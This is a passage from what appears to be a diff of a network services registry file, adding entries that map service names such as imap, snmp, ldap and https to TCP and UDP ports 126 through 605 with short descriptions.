NXEdit +unitary 126/tcp Unisys Unitary Login +unitary 126/udp Unisys Unitary Login +locus-con 127/tcp Locus PC-Interface Conn Server +locus-con 127/udp Locus PC-Interface Conn Server +gss-xlicen 128/tcp GSS X License Verification +gss-xlicen 128/udp GSS X License Verification +pwdgen 129/tcp Password Generator Protocol +pwdgen 129/udp Password Generator Protocol +cisco-fna 130/tcp cisco FNATIVE +cisco-fna 130/udp cisco FNATIVE +cisco-tna 131/tcp cisco TNATIVE +cisco-tna 131/udp cisco TNATIVE +cisco-sys 132/tcp cisco SYSMAINT +cisco-sys 132/udp cisco SYSMAINT +statsrv 133/tcp Statistics Service +statsrv 133/udp Statistics Service +ingres-net 134/tcp INGRES-NET Service +ingres-net 134/udp INGRES-NET Service +epmap 135/tcp DCE endpoint resolution +epmap 135/udp DCE endpoint resolution +profile 136/tcp PROFILE Naming System +profile 136/udp PROFILE Naming System +netbios-ns 137/tcp NETBIOS Name Service +netbios-ns 137/udp NETBIOS Name Service +netbios-dgm 138/tcp NETBIOS Datagram Service +netbios-dgm 138/udp NETBIOS Datagram Service +netbios-ssn 139/tcp NETBIOS Session Service +netbios-ssn 139/udp NETBIOS Session Service +emfis-data 140/tcp EMFIS Data Service +emfis-data 140/udp EMFIS Data Service +emfis-cntl 141/tcp EMFIS Control Service +emfis-cntl 141/udp EMFIS Control Service +bl-idm 142/tcp Britton-Lee IDM +bl-idm 142/udp Britton-Lee IDM +imap 143/tcp Internet Message Access Protocol +imap 143/udp Internet Message Access Protocol +uma 144/tcp Universal Management Architecture +uma 144/udp Universal Management Architecture +uaac 145/tcp UAAC Protocol +uaac 145/udp UAAC Protocol +iso-tp0 146/tcp ISO-IP0 +iso-tp0 146/udp ISO-IP0 +iso-ip 147/tcp ISO-IP +iso-ip 147/udp ISO-IP +jargon 148/tcp Jargon +jargon 148/udp Jargon +aed-512 149/tcp AED 512 Emulation Service +aed-512 149/udp AED 512 Emulation Service +sql-net 150/tcp SQL-NET +sql-net 150/udp SQL-NET +hems 151/tcp HEMS +hems 151/udp HEMS +bftp 152/tcp Background File Transfer Program +bftp 152/udp Background File Transfer Program +sgmp 153/tcp SGMP +sgmp 153/udp SGMP +netsc-prod 154/tcp NETSC +netsc-prod 154/udp NETSC +netsc-dev 155/tcp NETSC +netsc-dev 155/udp NETSC +sqlsrv 156/tcp SQL Service +sqlsrv 156/udp SQL Service +knet-cmp 157/tcp KNET/VM Command/Message Protocol +knet-cmp 157/udp KNET/VM Command/Message Protocol +pcmail-srv 158/tcp PCMail Server +pcmail-srv 158/udp PCMail Server +nss-routing 159/tcp NSS-Routing +nss-routing 159/udp NSS-Routing +sgmp-traps 160/tcp SGMP-TRAPS +sgmp-traps 160/udp SGMP-TRAPS +snmp 161/tcp SNMP +snmp 161/udp SNMP +snmptrap 162/tcp SNMPTRAP +snmptrap 162/udp SNMPTRAP +cmip-man 163/tcp CMIP/TCP Manager +cmip-man 163/udp CMIP/TCP Manager +cmip-agent 164/tcp CMIP/TCP Agent +cmip-agent 164/udp CMIP/TCP Agent +xns-courier 165/tcp Xerox +xns-courier 165/udp Xerox +s-net 166/tcp Sirius Systems +s-net 166/udp Sirius Systems +namp 167/tcp NAMP +namp 167/udp NAMP +rsvd 168/tcp RSVD +rsvd 168/udp RSVD +send 169/tcp SEND +send 169/udp SEND +print-srv 170/tcp Network PostScript +print-srv 170/udp Network PostScript +multiplex 171/tcp Network Innovations Multiplex +multiplex 171/udp Network Innovations Multiplex +cl/1 172/tcp Network Innovations CL/1 +cl/1 172/udp Network Innovations CL/1 +xyplex-mux 173/tcp Xyplex +xyplex-mux 173/udp Xyplex +mailq 174/tcp MAILQ +mailq 174/udp MAILQ +vmnet 175/tcp VMNET +vmnet 175/udp VMNET +genrad-mux 176/tcp GENRAD-MUX +genrad-mux 176/udp GENRAD-MUX +xdmcp 177/tcp X Display Manager Control Protocol +xdmcp 177/udp X Display Manager Control Protocol +nextstep 178/tcp NextStep Window Server +nextstep 178/udp NextStep Window Server +bgp 179/tcp Border Gateway Protocol +bgp 179/udp Border Gateway Protocol +ris 180/tcp Intergraph +ris 180/udp Intergraph +unify 181/tcp Unify +unify 181/udp Unify +audit 182/tcp Unisys Audit SITP +audit 182/udp Unisys Audit SITP +ocbinder 183/tcp OCBinder +ocbinder 183/udp OCBinder +ocserver 184/tcp OCServer +ocserver 184/udp OCServer +remote-kis 185/tcp Remote-KIS +remote-kis 185/udp Remote-KIS +kis 186/tcp KIS Protocol +kis 186/udp KIS Protocol +aci 187/tcp Application Communication Interface +aci 187/udp Application Communication Interface +mumps 188/tcp Plus Five's MUMPS +mumps 188/udp Plus Five's MUMPS +qft 189/tcp Queued File Transport +qft 189/udp Queued File Transport +gacp 190/tcp Gateway Access Control Protocol +gacp 190/udp Gateway Access Control Protocol +prospero 191/tcp Prospero Directory Service +prospero 191/udp Prospero Directory Service +osu-nms 192/tcp OSU Network Monitoring System +osu-nms 192/udp OSU Network Monitoring System +srmp 193/tcp Spider Remote Monitoring Protocol +srmp 193/udp Spider Remote Monitoring Protocol +irc 194/tcp Internet Relay Chat Protocol +irc 194/udp Internet Relay Chat Protocol +dn6-nlm-aud 195/tcp DNSIX Network Level Module Audit +dn6-nlm-aud 195/udp DNSIX Network Level Module Audit +dn6-smm-red 196/tcp DNSIX Session Mgt Module Audit Redir +dn6-smm-red 196/udp DNSIX Session Mgt Module Audit Redir +dls 197/tcp Directory Location Service +dls 197/udp Directory Location Service +dls-mon 198/tcp Directory Location Service Monitor +dls-mon 198/udp Directory Location Service Monitor +smux 199/tcp SMUX +smux 199/udp SMUX +src 200/tcp IBM System Resource Controller +src 200/udp IBM System Resource Controller +at-rtmp 201/tcp AppleTalk Routing Maintenance +at-rtmp 201/udp AppleTalk Routing Maintenance +at-nbp 202/tcp AppleTalk Name Binding +at-nbp 202/udp AppleTalk Name Binding +at-3 203/tcp AppleTalk Unused +at-3 203/udp AppleTalk Unused +at-echo 204/tcp AppleTalk Echo +at-echo 204/udp AppleTalk Echo +at-5 205/tcp AppleTalk Unused +at-5 205/udp AppleTalk Unused +at-zis 206/tcp AppleTalk Zone Information +at-zis 206/udp AppleTalk Zone Information +at-7 207/tcp AppleTalk Unused +at-7 207/udp AppleTalk Unused +at-8 208/tcp AppleTalk Unused +at-8 208/udp AppleTalk Unused +qmtp 209/tcp The Quick Mail Transfer Protocol +qmtp 209/udp The Quick Mail Transfer Protocol +z39.50 210/tcp ANSI Z39.50 +z39.50 210/udp ANSI Z39.50 +914c/g 211/tcp Texas Instruments 914C/G Terminal +914c/g 211/udp Texas Instruments 914C/G Terminal +anet 212/tcp ATEXSSTR +anet 212/udp ATEXSSTR +ipx 213/tcp IPX +ipx 213/udp IPX +vmpwscs 214/tcp VM PWSCS +vmpwscs 214/udp VM PWSCS +softpc 215/tcp Insignia Solutions +softpc 215/udp Insignia Solutions +CAIlic 216/tcp Computer Associates Int'l License Server +CAIlic 216/udp Computer Associates Int'l License Server +dbase 217/tcp dBASE Unix +dbase 217/udp dBASE Unix +mpp 218/tcp Netix Message Posting Protocol +mpp 218/udp Netix Message Posting Protocol +uarps 219/tcp Unisys ARPs +uarps 219/udp Unisys ARPs +imap3 220/tcp Interactive Mail Access Protocol v3 +imap3 220/udp Interactive Mail Access Protocol v3 +fln-spx 221/tcp Berkeley rlogind with SPX auth +fln-spx 221/udp Berkeley rlogind with SPX auth +rsh-spx 222/tcp Berkeley rshd with SPX auth +rsh-spx 222/udp Berkeley rshd with SPX auth +cdc 223/tcp Certificate Distribution Center +cdc 223/udp Certificate Distribution Center +masqdialer 224/tcp masqdialer +masqdialer 224/udp masqdialer +direct 242/tcp Direct +direct 242/udp Direct +sur-meas 243/tcp Survey Measurement +sur-meas 243/udp Survey Measurement +inbusiness 244/tcp inbusiness +inbusiness 244/udp inbusiness +link 245/tcp LINK +link 245/udp LINK +dsp3270 246/tcp Display Systems Protocol +dsp3270 246/udp Display Systems Protocol +subntbcst_tftp 247/tcp SUBNTBCST_TFTP +subntbcst_tftp 247/udp SUBNTBCST_TFTP +bhfhs 248/tcp bhfhs +bhfhs 248/udp bhfhs +rap 256/tcp RAP +rap 256/udp RAP +set 257/tcp Secure Electronic Transaction +set 257/udp Secure Electronic Transaction +yak-chat 258/tcp Yak Winsock Personal Chat +yak-chat 258/udp Yak Winsock Personal Chat +esro-gen 259/tcp Efficient Short Remote Operations +esro-gen 259/udp Efficient Short Remote Operations +openport 260/tcp Openport +openport 260/udp Openport +nsiiops 261/tcp IIOP Name Service over TLS/SSL +nsiiops 261/udp IIOP Name Service over TLS/SSL +arcisdms 262/tcp Arcisdms +arcisdms 262/udp Arcisdms +hdap 263/tcp HDAP +hdap 263/udp HDAP +bgmp 264/tcp BGMP +bgmp 264/udp BGMP +x-bone-ctl 265/tcp X-Bone CTL +x-bone-ctl 265/udp X-Bone CTL +sst 266/tcp SCSI on ST +sst 266/udp SCSI on ST +td-service 267/tcp Tobit David Service Layer +td-service 267/udp Tobit David Service Layer +td-replica 268/tcp Tobit David Replica +td-replica 268/udp Tobit David Replica +http-mgmt 280/tcp http-mgmt +http-mgmt 280/udp http-mgmt +personal-link 281/tcp Personal Link +personal-link 281/udp Personal Link +cableport-ax 282/tcp Cable Port A/X +cableport-ax 282/udp Cable Port A/X +rescap 283/tcp rescap +rescap 283/udp rescap +corerjd 284/tcp corerjd +corerjd 284/udp corerjd +fxp 286/tcp FXP Communication +fxp 286/udp FXP Communication +k-block 287/tcp K-BLOCK +k-block 287/udp K-BLOCK +novastorbakcup 308/tcp Novastor Backup +novastorbakcup 308/udp Novastor Backup +entrusttime 309/tcp EntrustTime +entrusttime 309/udp EntrustTime +bhmds 310/tcp bhmds +bhmds 310/udp bhmds +asip-webadmin 311/tcp AppleShare IP WebAdmin +asip-webadmin 311/udp AppleShare IP WebAdmin +vslmp 312/tcp VSLMP +vslmp 312/udp VSLMP +magenta-logic 313/tcp Magenta Logic +magenta-logic 313/udp Magenta Logic +opalis-robot 314/tcp Opalis Robot +opalis-robot 314/udp Opalis Robot +dpsi 315/tcp DPSI +dpsi 315/udp DPSI +decauth 316/tcp decAuth +decauth 316/udp decAuth +zannet 317/tcp Zannet +zannet 317/udp Zannet +pkix-timestamp 318/tcp PKIX TimeStamp +pkix-timestamp 318/udp PKIX TimeStamp +ptp-event 319/tcp PTP Event +ptp-event 319/udp PTP Event +ptp-general 320/tcp PTP General +ptp-general 320/udp PTP General +pip 321/tcp PIP +pip 321/udp PIP +rtsps 322/tcp RTSPS +rtsps 322/udp RTSPS +texar 333/tcp Texar Security Port +texar 333/udp Texar Security Port +pdap 344/tcp Prospero Data Access Protocol +pdap 344/udp Prospero Data Access Protocol +pawserv 345/tcp Perf Analysis Workbench +pawserv 345/udp Perf Analysis Workbench +zserv 346/tcp Zebra server +zserv 346/udp Zebra server +fatserv 347/tcp Fatmen Server +fatserv 347/udp Fatmen Server +csi-sgwp 348/tcp Cabletron Management Protocol +csi-sgwp 348/udp Cabletron Management Protocol +mftp 349/tcp mftp +mftp 349/udp mftp +matip-type-a 350/tcp MATIP Type A +matip-type-a 350/udp MATIP Type A +matip-type-b 351/tcp MATIP Type B +matip-type-b 351/udp MATIP Type B +bhoetty 351/tcp bhoetty (added 5/21/97) +bhoetty 351/udp bhoetty +dtag-ste-sb 352/tcp DTAG (assigned long ago) +dtag-ste-sb 352/udp DTAG +bhoedap4 352/tcp bhoedap4 (added 5/21/97) +bhoedap4 352/udp bhoedap4 +ndsauth 353/tcp NDSAUTH +ndsauth 353/udp NDSAUTH +bh611 354/tcp bh611 +bh611 354/udp bh611 +datex-asn 355/tcp DATEX-ASN +datex-asn 355/udp DATEX-ASN +cloanto-net-1 356/tcp Cloanto Net 1 +cloanto-net-1 356/udp Cloanto Net 1 +bhevent 357/tcp bhevent +bhevent 357/udp bhevent +shrinkwrap 358/tcp Shrinkwrap +shrinkwrap 358/udp Shrinkwrap +nsrmp 359/tcp Network Security Risk Management Protocol +nsrmp 359/udp Network Security Risk Management Protocol +scoi2odialog 360/tcp scoi2odialog +scoi2odialog 360/udp scoi2odialog +semantix 361/tcp Semantix +semantix 361/udp Semantix +srssend 362/tcp SRS Send +srssend 362/udp SRS Send +rsvp_tunnel 363/tcp RSVP Tunnel +rsvp_tunnel 363/udp RSVP Tunnel +aurora-cmgr 364/tcp Aurora CMGR +aurora-cmgr 364/udp Aurora CMGR +dtk 365/tcp DTK +dtk 365/udp DTK +odmr 366/tcp ODMR +odmr 366/udp ODMR +mortgageware 367/tcp MortgageWare +mortgageware 367/udp MortgageWare +qbikgdp 368/tcp QbikGDP +qbikgdp 368/udp QbikGDP +rpc2portmap 369/tcp rpc2portmap +rpc2portmap 369/udp rpc2portmap +codaauth2 370/tcp codaauth2 +codaauth2 370/udp codaauth2 +clearcase 371/tcp Clearcase +clearcase 371/udp Clearcase +ulistproc 372/tcp ListProcessor +ulistproc 372/udp ListProcessor +legent-1 373/tcp Legent Corporation +legent-1 373/udp Legent Corporation +legent-2 374/tcp Legent Corporation +legent-2 374/udp Legent Corporation +hassle 375/tcp Hassle +hassle 375/udp Hassle +nip 376/tcp Amiga Envoy Network Inquiry Proto +nip 376/udp Amiga Envoy Network Inquiry Proto +tnETOS 377/tcp NEC Corporation +tnETOS 377/udp NEC Corporation +dsETOS 378/tcp NEC Corporation +dsETOS 378/udp NEC Corporation +is99c 379/tcp TIA/EIA/IS-99 modem client +is99c 379/udp TIA/EIA/IS-99 modem client +is99s 380/tcp TIA/EIA/IS-99 modem server +is99s 380/udp TIA/EIA/IS-99 modem server +hp-collector 381/tcp hp performance data collector +hp-collector 381/udp hp performance data collector +hp-managed-node 382/tcp hp performance data managed node +hp-managed-node 382/udp hp performance data managed node +hp-alarm-mgr 383/tcp hp performance data alarm manager +hp-alarm-mgr 383/udp hp performance data alarm manager +arns 384/tcp A Remote Network Server System +arns 384/udp A Remote Network Server System +ibm-app 385/tcp IBM Application +ibm-app 385/udp IBM Application +asa 386/tcp ASA Message Router Object Def. +asa 386/udp ASA Message Router Object Def. +aurp 387/tcp Appletalk Update-Based Routing Pro. +aurp 387/udp Appletalk Update-Based Routing Pro. +unidata-ldm 388/tcp Unidata LDM +unidata-ldm 388/udp Unidata LDM +ldap 389/tcp Lightweight Directory Access Protocol +ldap 389/udp Lightweight Directory Access Protocol +uis 390/tcp UIS +uis 390/udp UIS +synotics-relay 391/tcp SynOptics SNMP Relay Port +synotics-relay 391/udp SynOptics SNMP Relay Port +synotics-broker 392/tcp SynOptics Port Broker Port +synotics-broker 392/udp SynOptics Port Broker Port +meta5 393/tcp Meta5 +meta5 393/udp Meta5 +embl-ndt 394/tcp EMBL Nucleic Data Transfer +embl-ndt 394/udp EMBL Nucleic Data Transfer +netcp 395/tcp NETscout Control Protocol +netcp 395/udp NETscout Control Protocol +netware-ip 396/tcp Novell Netware over IP +netware-ip 396/udp Novell Netware over IP +mptn 397/tcp Multi Protocol Trans. Net. +mptn 397/udp Multi Protocol Trans. Net. +kryptolan 398/tcp Kryptolan +kryptolan 398/udp Kryptolan +iso-tsap-c2 399/tcp ISO Transport Class 2 Non-Control over TCP +iso-tsap-c2 399/udp ISO Transport Class 2 Non-Control over UDP +work-sol 400/tcp Workstation Solutions +work-sol 400/udp Workstation Solutions +ups 401/tcp Uninterruptible Power Supply +ups 401/udp Uninterruptible Power Supply +genie 402/tcp Genie Protocol +genie 402/udp Genie Protocol +decap 403/tcp decap +decap 403/udp decap +nced 404/tcp nced +nced 404/udp nced +ncld 405/tcp ncld +ncld 405/udp ncld +imsp 406/tcp Interactive Mail Support Protocol +imsp 406/udp Interactive Mail Support Protocol +timbuktu 407/tcp Timbuktu +timbuktu 407/udp Timbuktu +prm-sm 408/tcp Prospero Resource Manager Sys. Man. +prm-sm 408/udp Prospero Resource Manager Sys. Man. +prm-nm 409/tcp Prospero Resource Manager Node Man. +prm-nm 409/udp Prospero Resource Manager Node Man. +decladebug 410/tcp DECLadebug Remote Debug Protocol +decladebug 410/udp DECLadebug Remote Debug Protocol +rmt 411/tcp Remote MT Protocol +rmt 411/udp Remote MT Protocol +synoptics-trap 412/tcp Trap Convention Port +synoptics-trap 412/udp Trap Convention Port +smsp 413/tcp Storage Management Services Protocol +smsp 413/udp Storage Management Services Protocol +infoseek 414/tcp InfoSeek +infoseek 414/udp InfoSeek +bnet 415/tcp BNet +bnet 415/udp BNet +silverplatter 416/tcp Silverplatter +silverplatter 416/udp Silverplatter +onmux 417/tcp Onmux +onmux 417/udp Onmux +hyper-g 418/tcp Hyper-G +hyper-g 418/udp Hyper-G +ariel1 419/tcp Ariel 1 +ariel1 419/udp Ariel 1 +smpte 420/tcp SMPTE +smpte 420/udp SMPTE +ariel2 421/tcp Ariel 2 +ariel2 421/udp Ariel 2 +ariel3 422/tcp Ariel 3 +ariel3 422/udp Ariel 3 +opc-job-start 423/tcp IBM Operations Planning and Control Start +opc-job-start 423/udp IBM Operations Planning and Control Start +opc-job-track 424/tcp IBM Operations Planning and Control Track +opc-job-track 424/udp IBM Operations Planning and Control Track +icad-el 425/tcp ICAD +icad-el 425/udp ICAD +smartsdp 426/tcp smartsdp +smartsdp 426/udp smartsdp +svrloc 427/tcp Server Location +svrloc 427/udp Server Location +ocs_cmu 428/tcp OCS_CMU +ocs_cmu 428/udp OCS_CMU +ocs_amu 429/tcp OCS_AMU +ocs_amu 429/udp OCS_AMU +utmpsd 430/tcp UTMPSD +utmpsd 430/udp UTMPSD +utmpcd 431/tcp UTMPCD +utmpcd 431/udp UTMPCD +iasd 432/tcp IASD +iasd 432/udp IASD +nnsp 433/tcp NNSP +nnsp 433/udp NNSP +mobileip-agent 434/tcp MobileIP-Agent +mobileip-agent 434/udp MobileIP-Agent +mobilip-mn 435/tcp MobilIP-MN +mobilip-mn 435/udp MobilIP-MN +dna-cml 436/tcp DNA-CML +dna-cml 436/udp DNA-CML +comscm 437/tcp comscm +comscm 437/udp comscm +dsfgw 438/tcp dsfgw +dsfgw 438/udp dsfgw +dasp 439/tcp dasp Thomas Obermair +dasp 439/udp dasp tommy@inlab.m.eunet.de +sgcp 440/tcp sgcp +sgcp 440/udp sgcp +decvms-sysmgt 441/tcp decvms-sysmgt +decvms-sysmgt 441/udp decvms-sysmgt +cvc_hostd 442/tcp cvc_hostd +cvc_hostd 442/udp cvc_hostd +https 443/tcp http protocol over TLS/SSL +https 443/udp http protocol over TLS/SSL +snpp 444/tcp Simple Network Paging Protocol +snpp 444/udp Simple Network Paging Protocol +microsoft-ds 445/tcp Microsoft-DS +microsoft-ds 445/udp Microsoft-DS +ddm-rdb 446/tcp DDM-Remote Relational Database Access +ddm-rdb 446/udp DDM-Remote Relational Database Access +ddm-dfm 447/tcp DDM-Distributed File Management +ddm-dfm 447/udp DDM-Distributed File Management +ddm-ssl 448/tcp DDM-Remote DB Access Using Secure Sockets +ddm-ssl 448/udp DDM-Remote DB Access Using Secure Sockets +as-servermap 449/tcp AS Server Mapper +as-servermap 449/udp AS Server Mapper +tserver 450/tcp Computer Supported Telecomunication Applications +tserver 450/udp Computer Supported Telecomunication Applications +sfs-smp-net 451/tcp Cray Network Semaphore server +sfs-smp-net 451/udp Cray Network Semaphore server +sfs-config 452/tcp Cray SFS config server +sfs-config 452/udp Cray SFS config server +creativeserver 453/tcp CreativeServer +creativeserver 453/udp CreativeServer +contentserver 454/tcp ContentServer +contentserver 454/udp ContentServer +creativepartnr 455/tcp CreativePartnr +creativepartnr 455/udp CreativePartnr +macon-tcp 456/tcp macon-tcp +macon-udp 456/udp macon-udp +scohelp 457/tcp scohelp +scohelp 457/udp scohelp +appleqtc 458/tcp apple quick time +appleqtc 458/udp apple quick time +ampr-rcmd 459/tcp ampr-rcmd +ampr-rcmd 459/udp ampr-rcmd +skronk 460/tcp skronk +skronk 460/udp skronk +datasurfsrv 461/tcp DataRampSrv +datasurfsrv 461/udp DataRampSrv +datasurfsrvsec 462/tcp DataRampSrvSec +datasurfsrvsec 462/udp DataRampSrvSec +alpes 463/tcp alpes +alpes 463/udp alpes +kpasswd 464/tcp kpasswd +kpasswd 464/udp kpasswd +urd 465/tcp URL Rendesvous Directory for SSM +igmpv3lite 465/udp IGMP over UDP for SSM +digital-vrc 466/tcp digital-vrc +digital-vrc 466/udp digital-vrc +mylex-mapd 467/tcp mylex-mapd +mylex-mapd 467/udp mylex-mapd +photuris 468/tcp proturis +photuris 468/udp proturis +rcp 469/tcp Radio Control Protocol +rcp 469/udp Radio Control Protocol +scx-proxy 470/tcp scx-proxy +scx-proxy 470/udp scx-proxy +mondex 471/tcp Mondex +mondex 471/udp Mondex +ljk-login 472/tcp ljk-login +ljk-login 472/udp ljk-login +hybrid-pop 473/tcp hybrid-pop +hybrid-pop 473/udp hybrid-pop +tn-tl-w1 474/tcp tn-tl-w1 +tn-tl-w2 474/udp tn-tl-w2 +tcpnethaspsrv 475/tcp tcpnethaspsrv +tcpnethaspsrv 475/udp tcpnethaspsrv +tn-tl-fd1 476/tcp tn-tl-fd1 +tn-tl-fd1 476/udp tn-tl-fd1 +ss7ns 477/tcp ss7ns +ss7ns 477/udp ss7ns +spsc 478/tcp spsc +spsc 478/udp spsc +iafserver 479/tcp iafserver +iafserver 479/udp iafserver +iafdbase 480/tcp iafdbase +iafdbase 480/udp iafdbase +ph 481/tcp Ph service +ph 481/udp Ph service +bgs-nsi 482/tcp bgs-nsi +bgs-nsi 482/udp bgs-nsi +ulpnet 483/tcp ulpnet +ulpnet 483/udp ulpnet +integra-sme 484/tcp Integra Software Management Environment +integra-sme 484/udp Integra Software Management Environment +powerburst 485/tcp Air Soft Power Burst +powerburst 485/udp Air Soft Power Burst +avian 486/tcp avian +avian 486/udp avian +saft 487/tcp saft Simple Asynchronous File Transfer +saft 487/udp saft Simple Asynchronous File Transfer +gss-http 488/tcp gss-http +gss-http 488/udp gss-http +nest-protocol 489/tcp nest-protocol +nest-protocol 489/udp nest-protocol +micom-pfs 490/tcp micom-pfs +micom-pfs 490/udp micom-pfs +go-login 491/tcp go-login +go-login 491/udp go-login +ticf-1 492/tcp Transport Independent Convergence for FNA +ticf-1 492/udp Transport Independent Convergence for FNA +ticf-2 493/tcp Transport Independent Convergence for FNA +ticf-2 493/udp Transport Independent Convergence for FNA +pov-ray 494/tcp POV-Ray +pov-ray 494/udp POV-Ray +intecourier 495/tcp intecourier +intecourier 495/udp intecourier +pim-rp-disc 496/tcp PIM-RP-DISC +pim-rp-disc 496/udp PIM-RP-DISC +dantz 497/tcp dantz +dantz 497/udp dantz +siam 498/tcp siam +siam 498/udp siam +iso-ill 499/tcp ISO ILL Protocol +iso-ill 499/udp ISO ILL Protocol +isakmp 500/tcp isakmp +isakmp 500/udp isakmp +stmf 501/tcp STMF +stmf 501/udp STMF +asa-appl-proto 502/tcp asa-appl-proto +asa-appl-proto 502/udp asa-appl-proto +intrinsa 503/tcp Intrinsa +intrinsa 503/udp Intrinsa +citadel 504/tcp citadel +citadel 504/udp citadel +mailbox-lm 505/tcp mailbox-lm +mailbox-lm 505/udp mailbox-lm +ohimsrv 506/tcp ohimsrv +ohimsrv 506/udp ohimsrv +crs 507/tcp crs +crs 507/udp crs +xvttp 508/tcp xvttp +xvttp 508/udp xvttp +snare 509/tcp snare +snare 509/udp snare +fcp 510/tcp FirstClass Protocol +fcp 510/udp FirstClass Protocol +passgo 511/tcp PassGo +passgo 511/udp PassGo +exec 512/tcp remote process execution; +comsat 512/udp +biff 512/udp used by mail system to notify users +login 513/tcp remote login a la telnet; +who 513/udp maintains data bases showing who's +shell 514/tcp cmd +syslog 514/udp +printer 515/tcp spooler +printer 515/udp spooler +videotex 516/tcp videotex +videotex 516/udp videotex +talk 517/tcp like tenex link, but across +talk 517/udp like tenex link, but across +ntalk 518/tcp +ntalk 518/udp +utime 519/tcp unixtime +utime 519/udp unixtime +efs 520/tcp extended file name server +router 520/udp local routing process (on site); +ripng 521/tcp ripng +ripng 521/udp ripng +ulp 522/tcp ULP +ulp 522/udp ULP +ibm-db2 523/tcp IBM-DB2 +ibm-db2 523/udp IBM-DB2 +ncp 524/tcp NCP +ncp 524/udp NCP +timed 525/tcp timeserver +timed 525/udp timeserver +tempo 526/tcp newdate +tempo 526/udp newdate +stx 527/tcp Stock IXChange +stx 527/udp Stock IXChange +custix 528/tcp Customer IXChange +custix 528/udp Customer IXChange +irc-serv 529/tcp IRC-SERV +irc-serv 529/udp IRC-SERV +courier 530/tcp rpc +courier 530/udp rpc +conference 531/tcp chat +conference 531/udp chat +netnews 532/tcp readnews +netnews 532/udp readnews +netwall 533/tcp for emergency broadcasts +netwall 533/udp for emergency broadcasts +mm-admin 534/tcp MegaMedia Admin +mm-admin 534/udp MegaMedia Admin +iiop 535/tcp iiop +iiop 535/udp iiop +opalis-rdv 536/tcp opalis-rdv +opalis-rdv 536/udp opalis-rdv +nmsp 537/tcp Networked Media Streaming Protocol +nmsp 537/udp Networked Media Streaming Protocol +gdomap 538/tcp gdomap +gdomap 538/udp gdomap +apertus-ldp 539/tcp Apertus Technologies Load Determination +apertus-ldp 539/udp Apertus Technologies Load Determination +uucp 540/tcp uucpd +uucp 540/udp uucpd +uucp-rlogin 541/tcp uucp-rlogin +uucp-rlogin 541/udp uucp-rlogin +commerce 542/tcp commerce +commerce 542/udp commerce +klogin 543/tcp +klogin 543/udp +kshell 544/tcp krcmd +kshell 544/udp krcmd +appleqtcsrvr 545/tcp appleqtcsrvr +appleqtcsrvr 545/udp appleqtcsrvr +dhcpv6-client 546/tcp DHCPv6 Client +dhcpv6-client 546/udp DHCPv6 Client +dhcpv6-server 547/tcp DHCPv6 Server +dhcpv6-server 547/udp DHCPv6 Server +afpovertcp 548/tcp AFP over TCP +afpovertcp 548/udp AFP over TCP +idfp 549/tcp IDFP +idfp 549/udp IDFP +new-rwho 550/tcp new-who +new-rwho 550/udp new-who +cybercash 551/tcp cybercash +cybercash 551/udp cybercash +devshr-nts 552/tcp DeviceShare +devshr-nts 552/udp DeviceShare +pirp 553/tcp pirp +pirp 553/udp pirp +rtsp 554/tcp Real Time Stream Control Protocol +rtsp 554/udp Real Time Stream Control Protocol +dsf 555/tcp +dsf 555/udp +remotefs 556/tcp rfs server +remotefs 556/udp rfs server +openvms-sysipc 557/tcp openvms-sysipc +openvms-sysipc 557/udp openvms-sysipc +sdnskmp 558/tcp SDNSKMP +sdnskmp 558/udp SDNSKMP +teedtap 559/tcp TEEDTAP +teedtap 559/udp TEEDTAP +rmonitor 560/tcp rmonitord +rmonitor 560/udp rmonitord +monitor 561/tcp +monitor 561/udp +chshell 562/tcp chcmd +chshell 562/udp chcmd +nntps 563/tcp nntp protocol over TLS/SSL (was snntp) +nntps 563/udp nntp protocol over TLS/SSL (was snntp) +9pfs 564/tcp plan 9 file service +9pfs 564/udp plan 9 file service +whoami 565/tcp whoami +whoami 565/udp whoami +streettalk 566/tcp streettalk +streettalk 566/udp streettalk +banyan-rpc 567/tcp banyan-rpc +banyan-rpc 567/udp banyan-rpc +ms-shuttle 568/tcp microsoft shuttle +ms-shuttle 568/udp microsoft shuttle +ms-rome 569/tcp microsoft rome +ms-rome 569/udp microsoft rome +meter 570/tcp demon +meter 570/udp demon +meter 571/tcp udemon +meter 571/udp udemon +sonar 572/tcp sonar +sonar 572/udp sonar +banyan-vip 573/tcp banyan-vip +banyan-vip 573/udp banyan-vip +ftp-agent 574/tcp FTP Software Agent System +ftp-agent 574/udp FTP Software Agent System +vemmi 575/tcp VEMMI +vemmi 575/udp VEMMI +ipcd 576/tcp ipcd +ipcd 576/udp ipcd +vnas 577/tcp vnas +vnas 577/udp vnas +ipdd 578/tcp ipdd +ipdd 578/udp ipdd +decbsrv 579/tcp decbsrv +decbsrv 579/udp decbsrv +sntp-heartbeat 580/tcp SNTP HEARTBEAT +sntp-heartbeat 580/udp SNTP HEARTBEAT +bdp 581/tcp Bundle Discovery Protocol +bdp 581/udp Bundle Discovery Protocol +scc-security 582/tcp SCC Security +scc-security 582/udp SCC Security +philips-vc 583/tcp Philips Video-Conferencing +philips-vc 583/udp Philips Video-Conferencing +keyserver 584/tcp Key Server +keyserver 584/udp Key Server +imap4-ssl 585/tcp IMAP4+SSL (use 993 instead) +imap4-ssl 585/udp IMAP4+SSL (use 993 instead) +password-chg 586/tcp Password Change +password-chg 586/udp Password Change +submission 587/tcp Submission +submission 587/udp Submission +cal 588/tcp CAL +cal 588/udp CAL +eyelink 589/tcp EyeLink +eyelink 589/udp EyeLink +tns-cml 590/tcp TNS CML +tns-cml 590/udp TNS CML +http-alt 591/tcp FileMaker, Inc. - HTTP Alternate (see Port 80) +http-alt 591/udp FileMaker, Inc. - HTTP Alternate (see Port 80) +eudora-set 592/tcp Eudora Set +eudora-set 592/udp Eudora Set +http-rpc-epmap 593/tcp HTTP RPC Ep Map +http-rpc-epmap 593/udp HTTP RPC Ep Map +tpip 594/tcp TPIP +tpip 594/udp TPIP +cab-protocol 595/tcp CAB Protocol +cab-protocol 595/udp CAB Protocol +smsd 596/tcp SMSD +smsd 596/udp SMSD +ptcnameservice 597/tcp PTC Name Service +ptcnameservice 597/udp PTC Name Service +sco-websrvrmg3 598/tcp SCO Web Server Manager 3 +sco-websrvrmg3 598/udp SCO Web Server Manager 3 +acp 599/tcp Aeolon Core Protocol +acp 599/udp Aeolon Core Protocol +ipcserver 600/tcp Sun IPC server +ipcserver 600/udp Sun IPC server +syslog-conn 601/tcp Reliable Syslog Service +syslog-conn 601/udp Reliable Syslog Service +xmlrpc-beep 602/tcp XML-RPC over BEEP +xmlrpc-beep 602/udp XML-RPC over BEEP +idxp 603/tcp IDXP +idxp 603/udp IDXP +tunnel 604/tcp TUNNEL +tunnel 604/udp TUNNEL +soap-beep 605/tcp 